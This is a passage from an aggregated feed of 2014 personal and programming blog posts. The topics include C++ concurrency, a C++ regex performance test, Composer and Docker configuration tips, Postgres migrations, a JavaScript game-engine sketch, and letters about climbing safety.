        return shared_;
    }

    /* other member functions */
}

Even GCD provides something similar:

+ (instancetype)sharedInstance
{
    static dispatch_once_t onceFlag;
    static id shared_;

    dispatch_once(&once, ^{
        shared_ = [[[self class] alloc] init];
    });

    return shared_;
}

These helper objects from standard libraries are provided just to guarantee that the object allocation and initialization is complete before setting the flag and every other time, it just returns immediately. So, no more race conditions for us.

So there it is, singletons the thread-safe way.

The code for todays experiment is available at github.com/chunkyguy/ConcurrencyExperiments. Check it out and have fun experimenting on your own.

This Week in Podcasts

Zac Szewczyk — Sun, 12 Oct 2014 13:58:07 GMT

Another week has gone by, made all the better with a few great podcasts. This time around, Roderick on the Line makes another appearance, and is accompanied by a great episode of Systematic and a fantastic episode of Zac & Co. Enjoy.

Permalink.

The Maze Runner

🦉 olshansky 🦁 — Sun, 12 Oct 2014 09:11:38 GMT

Olshansky's review of The Maze Runner

Letter to Two Climbers (Part 1)

Josh Thompson — Sun, 12 Oct 2014 03:00:00 GMT

Hello! We met recently. (I gave Justin tape after he cut his toe and didn’t have a bandaid.)

You and your partner were climbing a route near me and my partner. One of you (I’ll call Charles, because he had a British accent) was trying so hard to figure out some moves high above his last bolt. He was scared to fall. Very scared. Yet he kept trying. I was impressed with Charles’ tenacity.

The other one (I’ll call you Justin) sort of screwed over Charles. You sent him up a climb that was too hard for him to do, and you didn’t let him back off the climb. You made it sound like if he didn’t finish, you were not going to be able to get your quickdraws back.

Charles was scared, and you offered no consolation.

The above is excusable. What happened next is not. more

Charles fell. And you, Justin, almost dropped him. My partner and I watched in horror as Charles fell from 50 feet up to about fifteen feet. You lost control of the break strand and got it back just before Charles decked.

I don’t think Charles even realized he’d been dropped. You must have not told him anything about how falling on lead works. If you had, he would have known something terribly wrong happened.

I know why you dropped Charles. You were distracted. You hurt yourself when you hit the wall last time he fell, so you were paying more attention to not crashing into the wall than anything else. You were trying to keep track of a lot of moving pieces. But it’s inexcusable to drop your climber.

Why this letter? I want this to be a learning experience. I’m sure you’ve both learned a lot, but I’m afraid Charles is learning that climbing is difficult, scary, and dangerous. You are learning disdain for those who are not as strong as you.

There’s a better way.

You obviously don’t want to hurt anyone while lead climbing (and belaying) but you also want to have fun, right? It did not look like either of you were having much fun.

I want you to have fun climbing. I want you to climb as hard as you can. And I want you to do this all safely. We’ll cover how to make this happen soon, but for now - please know it is possible for of you, both Charles and Justin, to have so much more fun climbing, and to climb so much harder. Even if you can’t imagine climbing without fear right now, stick with me, and we’ll get you there.

Until next time,

-Josh

Read Part Two

All the Jobs I’ve Had (2014)

Sam Solomon — Sun, 12 Oct 2014 03:00:00 GMT

My friend Jason Shen wrote a post called You Had One Job.

Went to my first Laravel Meetup

Liza Shulyayeva — Sat, 11 Oct 2014 13:20:54 GMT

Last Friday night I attended what was apparently the first ever Laravel Meetup in Sweden. I’m glad I actually made myself go, because I’m not really good with social engagements. I don’t tend to go out much and sometimes end up just not bothering and staying home at the last minute.

Require a Remote Zip File with Composer

Donat Studios — Sat, 11 Oct 2014 04:31:15 GMT

I previously showed you how to Load a Github Gist with Composer, but sometimes you need to install code that isn't isn't even in a public facing VCS.

I for instance wanted to use a library only distributed by Zip.

It's actually fairly easy! In your composer.json file, you simply add a repositories section to the root. You will want to update the url section to point at the remote zip you intend to load, as well as updating the name and autoload sections. More information on configuring composers autoloader can be found here.

"repositories": [
    {
        "type": "package",
        "package": {
            "name": "dr-que/x-y",
            "version": "master",
            "dist": {
                "type": "zip",
                "url": "http://xyplot.drque.net/Downloads/XY_Plot-1.4.zip",
                "reference": "master"
            },
            "autoload": {
                "classmap": ["."]
            }
        }
    }
]

Then in your require section, add your selected name as follows.

"require": {
    "dr-que/x-y": "dev-master"
}

Then just run composer update and you should be ready to roll!

Swift Pitfalls

peanball.net — Sat, 11 Oct 2014 03:00:00 GMT

Continuous integration for Puppet modules

The Technical Blog of James on purpleidea.com — Fri, 10 Oct 2014 18:34:53 GMT

I just patched puppet-gluster and puppet-ipa to bring their infrastructure up to date with the current state of affairs…

What’s new?

Better README's
Rake syntax checking (fewer oopsies)
CI (testing) with travis on git push (automatic testing for everyone)
Use of .pmtignore to ignore files from puppet module packages (finally)
Pushing modules to the forge with blacksmith (sweet!)

This last point deserves another mention. Puppetlabs created the "forge" to try to provide some sort of added value to their stewardship. Personally, I like to look for code on github instead, but nevertheless, some do use the forge. The problem is that to upload new releases, you need to click your mouse like a windows user! Someone has finally solved that problem! If you use blacksmith, a new build is just a rake push away!

Have a look at this example commit if you’re interested in seeing the plumbing.

Updating tmux without killing active sessions

Erethon's Corner — Fri, 10 Oct 2014 17:53:02 GMT

I've been using tmux for a while, and even though I didn't like it at first, now I'm in love with it. I'm mostly using it as a GNU Screen alternative, but I don't use some of its fancy features like tabs, mainly because my window manager takes care of multiple terminal windows for me.

Sabi Sands Game Reserve, South Africa

Zac Szewczyk — Fri, 10 Oct 2014 11:14:26 GMT

Another article courtesy of the folks over at Gear Patrol, this time a photo essay after a trip to South Africa’s Sabi Sands Game Reserve. I spent three months in South Africa a number of years ago, and hours upon days trolling through an adjacent park (Kruger National Park, for those curious), but only managed to see a fraction of the sights the folks did here. Even then, though, I have no complaints: Africa was full of majesty everywhere I looked. Ben Bowers saw some of that majesty in Sabi Sands, I saw some of it elsewhere, and we both walked away changed men.

Permalink.

Why searchcode.com isn't 100% free software

Ben E. C. Boyter — Fri, 10 Oct 2014 10:14:08 GMT

The recent surge in attention to searchcode from the Windows 9/10 naming fiasco resulted in a lot of questions being raised about searchcode’s policy about free software (open source). While the policy is laid out on the about page some have raised the issue of the ethics about using such a website which is not 100% free (as in freedom).

For the purposes of the rest of this post “free software” is going to refer to software defined as not infringing freedom rather then free as in beer.

OgreVR Milestone 1: Basic Head Tracking

spinda's dreamwidth — Fri, 10 Oct 2014 07:17:54 GMT

I'm working on integrating the Oculus Rift DK2 with the Ogre3D engine. Last night I got basic head tracking working: moving the DK2 in real life translates into camera movement in-game. The goal is to build a toolkit that makes building something for the Rift in Ogre super duper easy.

comments

Sol Orwell: Co-Founder of Examine.com

Sam Solomon — Fri, 10 Oct 2014 03:00:00 GMT

Sol Orwell is the co-founder of Examine.com, an independent encyclopedia for supplement and nutrition information.

Plastc: Everything Coin Should Have Been

Zac Szewczyk — Thu, 09 Oct 2014 22:16:54 GMT

Although I started out confident in Coin’s eventual success, I have since made no bones about my distaste for their questionable methodologyy, business model, and apparent inability to meet deadlines. Burn me once, shame on you; burn me twice, though, shame on me: I’m hesitant to get behind Plastc given the apparently insurmountable challenges of this space, but that won’t stop me from wishing them success. At this point, I just want to see someone make actual progress.

Permalink.

Event queues

Liza Shulyayeva — Thu, 09 Oct 2014 16:06:13 GMT

The brain thing is really getting out of control.

Yesterday I ran into this problem:

Fatal error: Maximum function nesting level of '100' reached, aborting!

C++ bookmarks

xenodium.com @alvaro — Thu, 09 Oct 2014 03:00:00 GMT

[Computing] On Normativity in Configuration Management

devever.net/~hl — Thu, 09 Oct 2014 03:00:00 GMT

This document explores the design of host orchestration approaches. In particular, the following issues have central attention:

Viewfinder: Above America

Zac Szewczyk — Wed, 08 Oct 2014 11:27:07 GMT

In a day and age before ubiquitous personal drones roamed the skies, capturing incredible footage of active volcanoes, for example, filmmakers had no choice but to climb into planes and film those breathtaking views themselves. Harrison Sanborn found some of this footage in his father’s archives, digitized the film, and turned the result into a neat three minute video on Vimeo.

There’s a certain quality to this footage that newer, digital-first recordings courtesy or our aerial robotic minions just don’t have. Perhaps its “the celluloid warmth of the colors”, as Nick Milanes suggests in Gear Patrol’s article covering the video. Regardless of what it is, I just hope that we don’t lose it. There is always something to be said for taking the hard route, and the quality of the end-product when doing so, over that of the easier, increasingly mechanized approach.

Permalink.

The New American Dustbowl

Zac Szewczyk — Tue, 07 Oct 2014 16:43:02 GMT

An incredible, remarkably powerful story by Alan Heathcock that seeks to lay the harsh realities of drought to bear with a painful, hard-hitting story of good people who have lost everything for lack of one sample necessity: water. This article ought to be a prerequisite for forming any opinions on sustainability whatsoever.

Permalink.

ngWhatever - A better structure for Angular modules

Writing on Adam Craven — Tue, 07 Oct 2014 03:00:00 GMT

Reducing code complexity though conventions and stop services and controllers turning into a dumping ground for core logic

Last Steps on the Pacific Northwest Trail

Zac Szewczyk — Mon, 06 Oct 2014 11:21:05 GMT

Jeff Kish, contributing editor at the excellent site GearJunkie, spent the summer hiking 1,200 miles on the Pacific Northwest Trail. I followed his journey from that first report in July all the way up to this the conclusion of his trek, and I have to say: I’m both jealous and impressed. If you had the misfortune of missing this great series, head over and check it out: it’s well-worth your time. Follow Thru-Hike Of “Pacific Northwest Trail” All Summer.

Permalink.

Oracle In-Memory Column Store Internals – Part 1 – Which SIMD extensions are getting used?

Tanel Poder Blog — Mon, 06 Oct 2014 08:51:30 GMT

This is the first entry in a series of random articles about some useful internals-to-know of the awesome Oracle Database In-Memory column store. I intend to write about Oracle’s IM stuff that’s not already covered somewhere else and also about some general CPU topics (that are well covered elsewhere, but not always so well known in the Oracle DBA/developer world).

Before going into further details, you might want to review the Part 0 of this series and also our recent Oracle Database In-Memory Option in Action presentation with some examples. And then read this doc by Intel if you want more info on how the SIMD registers and instructions get used.

There’s a lot of talk about the use of your CPUs’ SIMD vector processing capabilities in the Oracle inmemory module, let’s start by checking if it’s enabled in your database at all. We’ll look into Linux/Intel examples here.

Your "Community" Should Not Be Local

Josh Thompson — Mon, 06 Oct 2014 03:00:00 GMT

When Kristi and I were planning our move from Maryland to Colorado, the biggest challenge we anticipated was no longer being a short drive away from my sister, Jen, and Kristi’s brother, Richard. There are a few reasons, however, that we decided the benefits of moving outweighed the costs.

Your Community is Critical (Even if you don’t think it is)

First, it is not an option for us to be without these relationships. (There are a few other dear friends in our lives, but I’ll get to that in a minute.) Even when we were in Maryland, we had to be intentional to spend quality time with Jen, Richard, and others. Why be intentional? We want to surround ourselves with people that encourage us to strive, in all areas of our lives, for more. I firmly believe that we will be the average of our five closest friends, so it’s important to choose wisely.

These relationships are critical to Kristi and I not because they’re fun (they are) but because we can be vulnerable and open within these relationships. It takes work, and trust, to build that vulnerability into a relationship, and once it’s there, we’re not about to let it go. more

Your Community Does NOT Need to be Local

The very thing that makes these relationships significant is the thing that allows them to be relatively unaffected by distance and time zones. The vast majority of the time I spoke with Jen or her new husband Andrew was on the phone. It doesn’t matter if I’m ten minutes away or 22 hours away - they are all just a phone call away.

The intentionality is still there, but now, instead of someone driving to someone else’s house for dinner, we call them on Skype. If anything, we’re even more intentional in our friendship with this distance. We’ve found a few good friends, and to us, it doesn’t really matter where in the world they are. If they moved or we do, the relationship continues unchanged.

Who is Your Community?

If you could fast-forward to the end of your life, and knew that you’d be the average of your five closest friends, who would you choose to be those friends? Would you be happy with that average, or disappointed?

Of my closest friends, if I were to end up as the average of them, I’d be thrilled. I’ve been blessed with a small group of smart, hard-working, vulnerable men who invest in me regularly. To me, this group of friends is worth more than any job or accomplishment.

Feature Overview: The Eve OpLog

Nicola Iarocci — Mon, 06 Oct 2014 03:00:00 GMT

The operations log or OpLog is a new Eve feature that I’m currently developing on the oplog experimental branch. It’s supposed to help in addressing a subtle issue that we’ve been dealing with, but I believe it can also emerge as a very useful all-around tool. I am posting about it in the hope of gathering some feedback from Eve contributors and users, so that I can better pinpoint design and implementation before I merge it to the main development branch.

What is the OpLog?

The OpLog is a special resource that keeps a record of operations that modify the data stored by the API. Every POST, PATCH, PUT and DELETE operation can eventually be recorded by the oplog.

At its core the oplog is simply a server log, something that’s always been on the Eve roadmap. What makes it a little bit different is its ability to be exposed as a read-only API endpoint. This would in turn allow clients to query it as they would with any other standard endpoint.

Производительность С++ STL regex

Artem Krylysov — Mon, 06 Oct 2014 03:00:00 GMT

Столкнулся недавно с простой задачей - нужно было найти позицию открывающегося тега <body> в HTML странице. Не долго думая я решил использовать регулярные выражения, через минуту у меня родился регексп <body[^>]*>. Все работало хорошо, пока дело не дошло до тестирования на больших объемах данных.

Я решил создать тестовое приложение, дабы замерить скорость работы regex_search:

#include <regex>
#include <iostream>

int find_position_re(std::string &text, std::regex &regex)
{
    std::smatch match;
    if (std::regex_search(text, match, regex))
    {
        return match.position() + match.length();
    }
    return -1;
}

int main(int argc, char* argv[])
{
    std::string text(1024 * 10000, ' ');
    text.append("<body>asdasd</body>");
    std::regex regex("<body[^>]*>");

    float start = (float)clock() / CLOCKS_PER_SEC;

    find_position_re(text, regex);

    float end = (float)clock() / CLOCKS_PER_SEC;

    std::cout << end - start << std::endl;
    return 0;
}

На поиск в 10 мегабайтной строке потребовалось почти 200 миллисекунд, что не очень быстро, учитывая, что тестировалось на свежем MacBook Pro.

Для интереса я скомпилировал код с помощью GCC и Clang, написал аналогичный код на Python:

import re
import timeit

def find_position_re(text, regex):
    match = regex.search(text)
    if match:
        return match.start()
    return -1

text = ' ' * (1024 * 10000)
text += '<body>asdasd</body>'
regex = re.compile("<body[^>]*>")

print(timeit.timeit(lambda: find_position_re(text, regex), number=1))

И на JavaScript:

function find_position_re(text, regex) {
    return text.search(regex);
}

var text = '';
for (var i = 0; i < 1024 * 10000; i++) {
    text += ' ';
}
text += '<body>asdasd</body>';

var regex = new RegExp('<body[^>]*>');

console.time('test');

find_position_re(text, regex);

console.timeEnd('test');

Тестовое приложение на Node.js оказалось в 3, а на Python в 31 раз быстрее, чем на Visual Studio 2013.

Clang меня абсолютно разочаровал результатом. Немного покрутив флаги компилятора, я понял, что дело совсем не в них. Я запустил профайлер, чтобы найти узкое место. Им оказалась функция __match_at_start_ecma, которая вызывалась на каждую итерацию поиска:

template <class _CharT, class _Traits>
template <class _Allocator>
bool
basic_regex<_CharT, _Traits>::__match_at_start_ecma(
        const _CharT* __first, const _CharT* __last,
        match_results<const _CharT*, _Allocator>& __m,
        regex_constants::match_flag_type __flags, bool __at_first) const
{
    vector<__state> __states;
    __node* __st = __start_.get();
    if (__st)
    {
        __states.push_back(__state());
        __states.back().__do_ = 0;
        __states.back().__first_ = __first;
        __states.back().__current_ = __first;
        __states.back().__last_ = __last;
        __states.back().__sub_matches_.resize(mark_count());
        __states.back().__loop_data_.resize(__loop_count());
        __states.back().__node_ = __st;
        __states.back().__flags_ = __flags;
        __states.back().__at_first_ = __at_first;
        do
        {
            __state& __s = __states.back();
            if (__s.__node_)
                __s.__node_->__exec(__s);
            switch (__s.__do_)
            {
            case __state::__end_state:
                __m.__matches_[0].first = __first;
                __m.__matches_[0].second = _VSTD::next(__first, __s.__current_ - __first);
                __m.__matches_[0].matched = true;
                for (unsigned __i = 0; __i < __s.__sub_matches_.size(); ++__i)
                    __m.__matches_[__i+1] = __s.__sub_matches_[__i];
                return true;
            case __state::__accept_and_consume:
            case __state::__repeat:
            case __state::__accept_but_not_consume:
                break;
            case __state::__split:
                {
                __state __snext = __s;
                __s.__node_->__exec_split(true, __s);
                __snext.__node_->__exec_split(false, __snext);
                __states.push_back(_VSTD::move(__snext));
                }
                break;
            case __state::__reject:
                __states.pop_back();
                break;
            default:
#ifndef _LIBCPP_NO_EXCEPTIONS
                throw regex_error(regex_constants::__re_err_unknown);
#endif
                break;

            }
        } while (!__states.empty());
    }
    return false;
}

При длине строки в тысячу символов на моих тестовых данных эта функция вызывалась тысячу раз, что влекло за собой тысячу созданий, push_back, pop_back и уничтожений std::vector и соответственно тысячу динамических выделений и освобождений памяти.

В моем конкретном случае для моего регулярного выражения проблему можно решить таким костылем:

int find_position_re(std::string &text, std::regex &regex)
{
    std::string text2 = text.substr(text.find("<body"));
    std::smatch match;
    if (std::regex_search(text2, match, regex))
    {
        return match.position() + match.length();
    }
    return -1;
}

Это ускоряет работу примерно в 100 раз. Интересно, что аналогичный трюк в Python и Node.js влияет на скорость негативно.

Поддержка регулярных выражений в STL была добавлена в С++11 и реализована только в последних версиях компиляторов. Остается надеяться, что проблему производительности исправят в новых версиях.

Какой из этого всего можно сделать вывод? Производительность в первую очередь это не низкоуровневые (или новомодные) языки программирования и быстрые процессоры, а эффективные алгоритмы.

This Week in Podcasts

Zac Szewczyk — Sun, 05 Oct 2014 21:27:45 GMT

Another week has gone by, made all the better with a few great podcasts. This time around, we have appearances by Exponent, Back to Work, Roderick on the Line, and Defocused. Enjoy.

Permalink.

Concurrency: Working with shared data using threads

Whacky Labs — Sun, 05 Oct 2014 04:02:00 GMT

In continuation with the last week’s experiment on protecting shared data in a concurrent system, let’s look at how we can make it work using C++ and threads.

Here’s a brief recap: We’re building a Airport scenario, where we have a single status board screen. The status board is simultaneously being edited by multiple airliners. The status board can be read by any passenger at any given moment for any flight status based on the flight number.

Let’s build the concept within a single-threaded environment:

class StatusBoard {
    std::forward_list<int> statusBoard;
public:
    void AddFlight()
    {
        int newFlight = rand()%MAX_FLIGHTS;
        statusBoard.push_front(newFlight);
    }

    bool FindFlight(const int flightNum) const
    {
        return (std::find(statusBoard.begin(), 

                          statusBoard.end(), 

                          flightNum) != statusBoard.end());
    }
};

StatusBoard statusBoard;

void StatusWriter()
{
    debugCount.write++;
    statusBoard.AddFlight();
}

bool StatusReader(const int searchFlightNum)
{
    debugCount.read++;
    return statusBoard.FindFlight(searchFlightNum);
}

void SerialLoop()
{
    while (!StatusReader(SEARCH_FLIGHT)) {
        StatusWriter();
    }
}

On my machine, it outputs:

Flight found after 26 writes and 27 reads.

Now let’s begin with making this implementation multithreaded.

void StatusWriter()
{
    std::this_thread::sleep_for(std::chrono::seconds(1));
    debugCount.write++;
    statusBoard.AddFlight();
}

void ParallelLoop()
{
    while (!std::async(std::launch::async, StatusReader, SEARCH_FLIGHT).get()) {
        /* write operation */
        std::thread writeOp(StatusWriter);
        writeOp.detach();
    }
}

The good thing about C++ is that much of the code looks almost similar to the single threaded code and that is due to the way the thread library has been designed. At first glance you won’t be even able to tell where the threading code actually is. Here we’re invoking two operations on two threads at each iteration of the loop.

First we have a read operation

while (!std::async(std::launch::async, StatusReader, SEARCH_FLIGHT).get()) {

This makes use of std::future to invoke the StatusReader function on a async thread. The get() call at the end actually start the process. We shall talk about futures and promises in some future experiment. In this experiment it would be suffice to understand that a call to std::async() starts the StatusReader() function in a concurrent thread that magically returns back the result with the get() to the caller thread.

Another is simply spawning of a std::thread using the direct use with detach that we’re already familiar of from our previous experiment.

Here we just start the StatusWriter function on a new thread every time the loop iterates.

/* write operation */
std::thread writeOp(StatusWriter);
writeOp.detach();

On my machine, when the code doesn’t crashes, it prints:

Flight found after 26 writes and 1614 reads.

Obviously, this code isn’t thread-safe. We’re reading and writing to the same forward list from more than one threads, and this code is supposed to crash a lot. So, next step let’s make it thread safe using a mutex.

A mutex is the basic object that is used to provide mutual exclusivity to a portion of code. The mutex in C++ are used to lock a shared resource.

First of all we start with a std::mutex object. This object guarantees that the code is locked for a single thread use at a time. We can use the lock() and unlock() member functions on std::mutex object like:

void foo()
{
    std::mutex mutex;
    mutex.lock();
    /* 
     * some resource locking code here
     */
    mutex.unlock();
}

If you’ve used C++ long enough, you’ll know that this code is prone to all sort of errors. In many cases the foo() can exit before the unlock() gets executed. This could be due to any early returns that you have added to the function. Or, in a more likely scenario, your code does something illegal and the foo() throws some exception. Even if foo() is very robust, it could call some another function which isn’t that robust.

If you’re an old time C++ user, you must know that to solve this problem space we often use RAII idiom. Good for you, the standard thread library already provides this for you in form of a std::lock_guard. The std::lock_guard is designed to work with any lock like object.

Using std::mutex and std::lock_guard our code is now:

class StatusBoard {
    std::forward_list<int> statusBoard;
    mutable std::mutex mutex;
public:
    void AddFlight()
    {
        std::lock_guard<std::mutex> lock(mutex);
        int newFlight = rand()%MAX_FLIGHTS;
        statusBoard.push_front(newFlight);
    }

    bool FindFlight(const int flightNum) const
    {
        std::lock_guard<std::mutex> lock(mutex);
        return (std::find(statusBoard.begin(), statusBoard.end(), flightNum) != statusBoard.end());
    }
};

The mutable keyword is used as we’re using the mutex in a const member function FindFlight(). On my machine it executes as:

Flight found after 10 writes and 1591 reads.

Sometime, the code also throws the following exception after exiting from main:

libc++abi.dylib: terminating with uncaught exception of type std::__1::system_error: mutex lock failed: Invalid argument

This is due to the fact that we’ve explicitly added the thread delay for debugging and some of out async threads are executing as detached and might not be over before the main exits. I don’t think this is going to be a problem in any real code.

So, there, we’ve a basic thread-safe code. This is not the best implementation possible. There are many things to look out for. Like, we’ve to take care of not pass out any references or pointers of shared data, otherwise the code might become unsafe again. Always remember that at the low level all threads share the same address space, and whenever we’ve a shared resource without a lock, we have a race condition. This is more of the design error from the programmer’s perspective.

As always this code is available online at github.com/chunkyguy/ConcurrencyExperiments. Check it out and have fun experimenting on your own.

Robot Onslaught: Multiplayer twin-stick 2D shooter using PubNub

Thomas Hunter II — Sun, 05 Oct 2014 03:00:00 GMT

I challenge you to a game of Sokoban Golf!

My Own Fortune — Sat, 04 Oct 2014 20:24:03 GMT

Before I dived in earnest into writing the new version of my computer game that teaches Python, this time with game mechanics based on the classical puzzle game “Sokoban”, I wanted to make sure that Programmable Sokoban is a fun concept. So I wrote a prototype in a couple of hours. The programmers among you […]

The Usual Suspects

🦉 olshansky 🦁 — Sat, 04 Oct 2014 07:38:18 GMT

Olshansky's review of The Usual Suspects

ngWhatever - MVX architecture

Writing on Adam Craven — Sat, 04 Oct 2014 03:00:00 GMT

Typographic Design Patterns and Best Practices

Zac Szewczyk — Fri, 03 Oct 2014 13:42:32 GMT

A great companion to yesterday’s post, 10 Typeface Pairs for Cash-Poor Designers, for those looking to improve the design of their site through the adoption of strong design principles. Despite its original publication date of 2009, the best practices Michael Martin puts forth here have retained their value over the years in an excellent resource for aspiring designers. I have applied some of these lessons, too, in the creation of my elusive latest project. Look for more on this soon.

Permalink.

Running Docker on CentOS - External Network Access

Tyblog — Fri, 03 Oct 2014 09:00:00 GMT

This is just a short blip for people running Docker on CentOS who have encountered problems accessing containers from outside the localhost.

The long and short of it is this command:

shell

sysctl net.ipv4.ip_forward=1

Why? Read this answer on StackExchange first. When Docker configures your iptables rules for network access, it likes to create a docker0 interface alongside any other network interfaces (like eth0) that CentOS creates by default.

Therefore, you must enable IP forwarding to allow those packets arriving on your externally-listening interface to be forwarded (or routed) to the docker interface that all of your containers are attached to.

Hopefully this helps somebody else out who may encounter similar problems.

Making an engine to run with custom game code

Erico Notes — Fri, 03 Oct 2014 06:38:02 GMT

So, I'm working on my game and decided to share some simplified version of my code here. I'm making a game engine in javascript, and needed some way to code some actions.

The code is here, you can save it as example.html (http://jsfiddle.net/e3b0kocc/):

    <!DOCTYPE html> <html> <body> <script>
    var engine={}, actions={};
    engine.atomStack=new Array();

    engine.runatomStack = function(){
        while(engine.atomStack.length > 0){
            var actionToRun = engine.atomStack.shift();
            actionToRun[0](actionToRun[1]);
        } 
    };

    engine.action1 = function( param ) {
        //execute something param[0]
        console.log("executed action 1, param " + param[0] ); }

    engine.action2 = function( param ) {
        //execute something param[0] and param[1]
        console.log("executed action 2, params " + param[0] + " " + param[1] ); }

    actions.action1 = function( param ) {
        //do something param[0]
        var params = param.split(';');
        engine.atomStack.push([engine.action1,params]); }

    actions.action2 = function( param ) {
        //do something param[0] and param[1]
        var params = param.split(';');
        params[1]=parseInt(params[1],10)+2
        engine.atomStack.push([engine.action2,params]); }

    translateActions = function(action, param) {    
        actions[action](param); };

    eventActivate = function(event) {
        for (var i = 0; i < events[event].length ; i++) {
            var action = events[event][i];
            var actionAndParam = action.split('|');
            translateActions(actionAndParam[0],actionAndParam[1]);
        }
    };

    events = {
        1: ["action1|5","action2|2;2","action1|2"],
        2: ["action2|5;2","action2|2;2"],
        3: ["action2|5;2","action1|2"] };
    </script> </body> </html>

Something happens, and I need to run the actions inside an event. I call eventActivate passing the event that should happen. The function translateAction read this information and calls the function that set up the actions. My logic is based that a level contain events, an event can contain actions, and each different action contain atoms.

So, for example, at some point you call eventActivate(1) and that will push the relative events on the stack. Then from time to time the engine is used and calls engine.runatomStack() to execute whatever is there. Below is an example using f12 to call developer console and insert javascript (used Firefox).

//engine.atomStack is Array [ ]

eventActivate(2)
//engine.atomStack is Array [ Array[2], Array[2] ]

engine.runatomStack()

//prints:
// "executed action 2, params 5 4" example.html:18
// "executed action 2, params 2 4" example.html:18

//engine.atomStack is Array [ ]

I decided to make this post because I asked a question on stackoverflow and had to make a simpler version of my code to show there and thought that it could be useful to show here too!

How to join Beta program for Wish 'N U.

Prasham H Trivedi — Fri, 03 Oct 2014 03:00:00 GMT

If you are interested in joining beta program for Wish ‘N U this post will help you to join the program.

Obscurity Of Communication

Venam's Blog — Patrick Louis (Lebanon) — Fri, 03 Oct 2014 00:00:00 GMT

A hot subject these days is privacy. Since the Snowden's leaks we have been getting headlines about privacy every two or three days. This post is not about something new but it's to dwell into ways of thinking we haven't been accustomed to. I don't personally have any interest in conspiracy theories and secret societies but it's still interesting to relate it with terrorism, as we are in an era of psychotic people.

10 Typeface Pairs for Cash-Poor Designers

Zac Szewczyk — Thu, 02 Oct 2014 14:36:25 GMT

As I continue work on an as of yet unnamed and unreleased project, I came across this great article by Morgan Gilpatrick from a number of years ago that still maintains its relevance today. Here he puts forth nine different font combinations paired according to a matrix of criteria, and to great results. I plan on returning here and to other resources like it when it comes time to redesign this site once again; great advice, especially helpful to those of us on the fringe of design.

Permalink.

On the percloud, one year later

Welcome to Marco Fioretti's website! on Stop at Zona-M — Thu, 02 Oct 2014 09:10:00 GMT

One year ago I launched a proposal, with related fundraiser, for an alternative to Facebook, Gmail and similar services really usable by normal people, the percloud. That fundraiser did not succeed,

Some percloud Questions I've already Frequently Answered

Welcome to Marco Fioretti's website! on Stop at Zona-M — Thu, 02 Oct 2014 07:08:49 GMT

(please note that this was just the second part of this other post!)

A simple guide for DB migrations

CRAIG KERSTIENS — Wed, 01 Oct 2014 23:55:56 GMT

Most web applications will add/remove columns over time. This is extremely common early on and even mature applications will continue modifying their schemas with new columns. An all too common pitfall when adding new columns is setting a not null constraint in Postgres.

Not null constraints

What happens when you have a not null constraint on a table is it will re-write the entire table. Under the cover Postgres is really just an append only log. So when you update or delete data it’s really just writing new data. This means when you add a column with a new value it has to write a new record. If you do this requiring columns to not be null then you’re re-writing your entire table.

Where this becomes problematic for larger applications is it will hold a lock preventing you from writing new data during this time.

A better way

Of course you may want to not allow nulls and you may want to set a default value, the problem simply comes when you try to do this all at once. The safest approach at least in terms of uptime for your table -> data -> application is to break apart these steps.

Start by simply adding the column with allowing nulls but setting a default value
Run a background job that will go and retroactively update the new column to your default value
Add your not null constraint.

Yes it’s a few extra steps, but I can say from having walked through this with a number of developers and their apps it makes for a much smoother process for making changes to your apps.

Cabin Porn Roundup

Zac Szewczyk — Wed, 01 Oct 2014 20:37:15 GMT

Another installment in my ongoing Cabin Porn Roundup series, where I collect interesting pictures of cabins and cool stories about the outdoors from across the world and present them in a single location. Much like my “This Week in Podcasts” series, I feature only the best of the best here. Enjoy.

Permalink.

Running IntelliJ IDEA on Mac OS with Java 8

Rich Dougherty — Wed, 01 Oct 2014 03:57:00 GMT

Why Your Belayer is Keeping You from Climbing Hard(er)

Josh Thompson — Wed, 01 Oct 2014 03:00:00 GMT

Since climbing regularly again (!!!), I’ve observed lots of belaying in the gym. I can’t walk up to a stranger and say “Excuse me, sir, I noticed that your poor belaying is totally crippling your climber’s ability to try hard, and actively eliminating any hope you had of improvement in this sport.” In fact, I don’t even want to. When I see bad belaying, it doesn’t bother me, unless it’s actively courting grave injury. It does make me feel sorry for the climbers, though, because it’s really hard to improve at climbing with a bad belayer.

There’s a number of issues surrounding poor belaying, but they all tie back to either trust or competence. more

The two can operate independent of each other. You can have a competent belayer that you don’t trust, or you can trust an incompetent belayer (whoops). Or, of course, you can not trust an incompetent belayer (good idea) or, finally, trust a competent belayer. (Nirvana!).

While you can easily spot signs of an incompetent belayer, it’s much harder to determine if they are competent. Then, even if you’ve established their competence, it takes time to build trust in them.

Here’s why bad belaying keeps you from improving - even if you don’t actively consider the skill of your belayer, your subconscious knows if they are competent and trustworthy. And if you’ve not actively considered their skill, you probably don’t trust them, and they may be incompetent.

Here are some indicators of unskilled (and untrustworthy) belaying:

Lets the rope hang between the climber’s legs when climber is lower than the third bolt.
Short ropes climber and doesn’t know it.
Spikes the climber and doesn’t know it.
Keeps rope too tight or too loose.

Now - all of these are easily fixed. So - this is where trust comes in. If your belayer is making these mistakes, and is either unaware or unwilling to fix them, why would you trust them? None of these mistakes puts the climber in grave danger, but all can make climbing less fun.

If your belayer is competent, and makes none of the above errors, that’s enough to make you think they’re not only competent, but trustworthy as well. Without trusting your belayer, you cannot push yourself hard enough to improve at climbing.

There’s a whole other list related to trustworthy belaying.

Privacy Policy

allan.reyes.sh — Wed, 01 Oct 2014 03:00:00 GMT

I do not employ analytics, trackers, affiliate links, or page view counters. Ain’t nobody got time for that. If you do happen to find something that violates that privacy statement, reach out to me so I can fix it, because it’s likely a programming mistake.

While I don’t personally collect anything, this site is hosted using GitHub pages, so you should check their privacy policy, specifically:

Please note that GitHub may collect User Personal Information from visitors to your GitHub Pages website, including logs of visitor IP addresses, to comply with legal obligations, and to maintain the security and integrity of the Website and the Service.

Youth Sports are Hijacking Your Life

Zac Szewczyk — Tue, 30 Sep 2014 15:55:35 GMT

Reading this article from Outside Online, it reminded me of a story a family friend once told me. She explained that her son and daughter-in-law, both schoolteachers in Alaska, had decided to raise their young son without the traditional lessons society dictates a small boy learn during his formative years. As far as his dad was concerned, if he never learned to play baseball, that was just fine: instead he would learn about the outdoors, and gain skills that will benefit him for the rest of his life. Baseball simply didn’t fit the bill. That philosophy struck me as abnormal at the time, yes, but also wonderfully so: while this little boy’s peers learned to yearn for recess while a teacher droned on in the background, he would spend his time on things that actually mattered. Just because something is the status quo does not mean that it is right.

Permalink.

1984

Apurva Shukla's RSS Feed — Tue, 30 Sep 2014 10:00:00 GMT

